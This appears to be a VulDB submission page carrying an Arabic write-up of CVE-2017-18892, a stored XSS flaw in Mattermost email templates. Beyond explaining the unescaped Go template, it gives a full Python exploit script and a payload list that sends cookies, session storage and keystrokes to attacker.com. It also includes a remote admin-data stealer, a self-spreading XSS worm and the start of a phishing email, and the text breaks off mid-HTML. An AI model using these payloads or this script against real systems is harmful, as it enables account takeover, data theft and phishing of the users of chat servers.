| Title | #XSS | #EmailSecurity Mattermost TemplateInjection < 4.2.0 سيطرة كاملة على بيانات |
|---|
| Description | # ⚔️ CVE-2017-18892: عندما تخون القوالب الأمان
## ???? XSS في قوالب البريد الإلكتروني - Mattermost تحت النار
---
## ???? البطاقة التعريفية
| المعرف | القيمة |
|--------|---------|
| **CVE ID** | CVE-2017-18892 |
| **Product** | Mattermost Server |
| **CWE** | CWE-79: Cross-site Scripting (XSS) |
| **CVSS Score** | **6.1 Medium** |
| **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| **الكشف الأولي** | 2017 |
| **النشر العام** | 19 يونيو 2020 |
| **آخر تحديث** | 29 يناير 2023 |
| **التصنيف** | Stored XSS via Email Templates |
---
## ???? جوهر الثغرة
### ???? السيناريو الهجومي
```
Mattermost Email Template
↓
User Input (غير معقم)
↓
HTML Email Generation
↓
{{.UserName}} ← حقن مباشر!
↓
<script>alert('XSS')</script>
↓
???? تنفيذ الكود في Email Client
```
---
## ???? التحليل التقني العميق
### ???? الكود الضعيف
**القالب الضعيف (Go Template):**
```go
// mattermost-server < 4.2.0
// email_template.html
<html>
<body>
<h1>مرحباً {{.UserName}}</h1> ← بدون تعقيم!
<p>تم إرسال رسالة من {{.SenderName}}</p> ← خطر!
<div>{{.MessageContent}}</div> ← يمكن حقن HTML!
</body>
</html>
```
**المشكلة:**
```go
// الكود الضعيف - بدون Escaping
template.Execute(writer, data)
// data.UserName = "<script>alert('XSS')</script>"
// النتيجة: يُنفذ السكريبت في البريد!
```
---
### ???? سيناريو الاستغلال
#### **المرحلة 1: إنشاء حساب خبيث**
```javascript
// المهاجم ينشئ حساب باسم خبيث
POST /api/v4/users
{
"username": "<img src=x onerror=alert(document.cookie)>",
"email": "[email protected]",
"password": "pass123"
}
```
#### **المرحلة 2: إرسال رسالة**
```javascript
// إرسال رسالة لضحية
POST /api/v4/posts
{
"channel_id": "victim_channel",
"message": "Check this out!",
"root_id": null
}
```
#### **المرحلة 3: البريد الإلكتروني المرسل**
```html
<!-- البريد الذي يستلمه الضحية -->
<html>
<body>
<h1>مرحباً Victim</h1>
<p>تم إرسال رسالة من
<img src=x onerror=alert(document.cookie)> ← تنفيذ فوري!
</p>
<div>Check this out!</div>
</body>
</html>
```
#### **المرحلة 4: التنفيذ**
```javascript
// عند فتح البريد:
onerror=alert(document.cookie) ← يُنفذ!
// يمكن للمهاجم:
fetch('https://attacker.com/steal?cookie=' + document.cookie);
```
---
## ???? دليل إثبات المفهوم (PoC)
### ???? PoC كامل
```python
#!/usr/bin/env python3
"""
CVE-2017-18892 - Mattermost XSS via Email Template
Exploit for educational purposes only
"""
import requests
import json
class MattermostXSS:
def __init__(self, target_url):
self.target = target_url
self.session = requests.Session()
self.token = None
def create_malicious_user(self):
"""إنشاء مستخدم باسم يحتوي على XSS"""
# الـ Payload
xss_payload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
# إنشاء المستخدم
user_data = {
"username": xss_payload,
"email": "[email protected]",
"password": "MaliciousPass123!",
"first_name": xss_payload,
"last_name": "Evil"
}
response = self.session.post(
f"{self.target}/api/v4/users",
json=user_data
)
if response.status_code == 201:
print("[+] مستخدم خبيث تم إنشاؤه")
return response.json()
else:
print(f"[-] فشل: {response.text}")
return None
def login(self, email, password):
"""تسجيل الدخول"""
login_data = {
"login_id": email,
"password": password
}
response = self.session.post(
f"{self.target}/api/v4/users/login",
json=login_data
)
if response.status_code == 200:
self.token = response.headers.get('Token')
self.session.headers.update({'Authorization': f'Bearer {self.token}'})
print("[+] تم تسجيل الدخول")
return True
return False
def send_message(self, channel_id, message):
"""إرسال رسالة (تُرسل إشعار بريد إلكتروني)"""
post_data = {
"channel_id": channel_id,
"message": message
}
response = self.session.post(
f"{self.target}/api/v4/posts",
json=post_data
)
if response.status_code == 201:
print("[+] تم إرسال الرسالة - سيُرسل بريد XSS للأعضاء!")
return True
return False
def exploit(self, target_channel):
"""تنفيذ الاستغلال الكامل"""
print("[*] بدء استغلال CVE-2017-18892")
print(f"[*] الهدف: {self.target}")
# 1. إنشاء مستخدم خبيث
user = self.create_malicious_user()
if not user:
return False
# 2. تسجيل الدخول
if not self.login("[email protected]", "MaliciousPass123!"):
return False
# 3. إرسال رسالة (تُرسل بريد)
if self.send_message(target_channel, "مرحباً! تحقق من هذا"):
print("[+] نجح الاستغلال!")
print("[*] عند فتح البريد، سيُنفذ الكود الخبيث")
return True
return False
# الاستخدام
if __name__ == "__main__":
exploit = MattermostXSS("https://mattermost.target.com")
exploit.exploit("channel_id_here")
```
---
### ???? Payloads متقدمة
```javascript
// 1. سرقة Cookies
<img src=x onerror="new Image().src='https://attacker.com/log?c='+document.cookie">
// 2. سرقة Session Tokens
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
localStorage: localStorage,
sessionStorage: sessionStorage
})
});
</script>
// 3. Keylogger في Email Client
<img src=x onerror="
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k=' + e.key);
});
">
// 4. Phishing Redirect
<img src=x onerror="
setTimeout(function() {
window.location='https://fake-mattermost-login.com';
}, 3000);
">
// 5. استخراج البيانات الحساسة
<img src=x onerror="
fetch('/api/v4/users/me').then(r=>r.json()).then(d=>
fetch('https://attacker.com/user', {
method: 'POST',
body: JSON.stringify(d)
})
);
">
```
---
## ???? سيناريوهات الاستغلال الواقعية
### ???? السيناريو 1: سرقة بيانات المديرين
```javascript
// 1. المهاجم ينشئ حساب باسم:
username: "<script src='https://evil.com/admin-stealer.js'></script>"
// 2. admin-stealer.js:
(async function() {
// سرقة معلومات Admin
const adminData = await fetch('/api/v4/users/me').then(r => r.json());
// سرقة القنوات
const channels = await fetch('/api/v4/channels').then(r => r.json());
// سرقة الفرق
const teams = await fetch('/api/v4/teams').then(r => r.json());
// إرسال كل شيء
fetch('https://attacker.com/admin-data', {
method: 'POST',
body: JSON.stringify({ adminData, channels, teams })
});
})();
// النتيجة: سيطرة كاملة على بيانات Admin
```
---
### ???? السيناريو 2: Worm عبر البريد
```javascript
// XSS Worm - ينتشر تلقائياً
<img src=x onerror="
// 1. يسرق التوكن الحالي
const token = localStorage.getItem('token');
// 2. يجلب قائمة المستخدمين
fetch('/api/v4/users', {
headers: { 'Authorization': 'Bearer ' + token }
})
.then(r => r.json())
.then(users => {
// 3. يرسل رسالة لكل مستخدم
users.forEach(user => {
fetch('/api/v4/posts/create_direct', {
method: 'POST',
headers: { 'Authorization': 'Bearer ' + token },
body: JSON.stringify({
user_id: user.id,
message: 'Check this: <img src=x onerror=...>' // نفس الكود
})
});
});
});
">
```
---
### ???? السيناريو 3: التصيد المستهدف (Spear Phishing)
```html
<!-- بريد يبدو شرعياً تماماً -->
<html>
<head>
<style>
/* تصميم مشابه لـ Mattermost */
body { font-family: Arial; background: #f5f5f5; }
.container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; }
.btn { background: #0073e6; color: white; padding: 10px 20px; text-decoration: none; }
</style>
</head>
<body>
<div class="container">
<h2>???? تنبيه أمني من Mattermost</h2>
<p>تم اكتشاف محاولة تسجيل دخول مشبوهة لحسابك</p>
<p>انقر أدناه للتحقق من هويتك:</p>
<a href="#" class="btn" onclick="stealCredentials()">التحقق ال |
|---|
| User | nike49424 (UID 97107) |
|---|
| Submission | 04/05/2026 22:27 (4 days ago) |
|---|
| Moderation | 04/06/2026 23:27 (1 day later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 355672 [Mattermost Server up to 4.0.4/4.1.0 Email Template neutralization] |
|---|
| Points | 17 |
|---|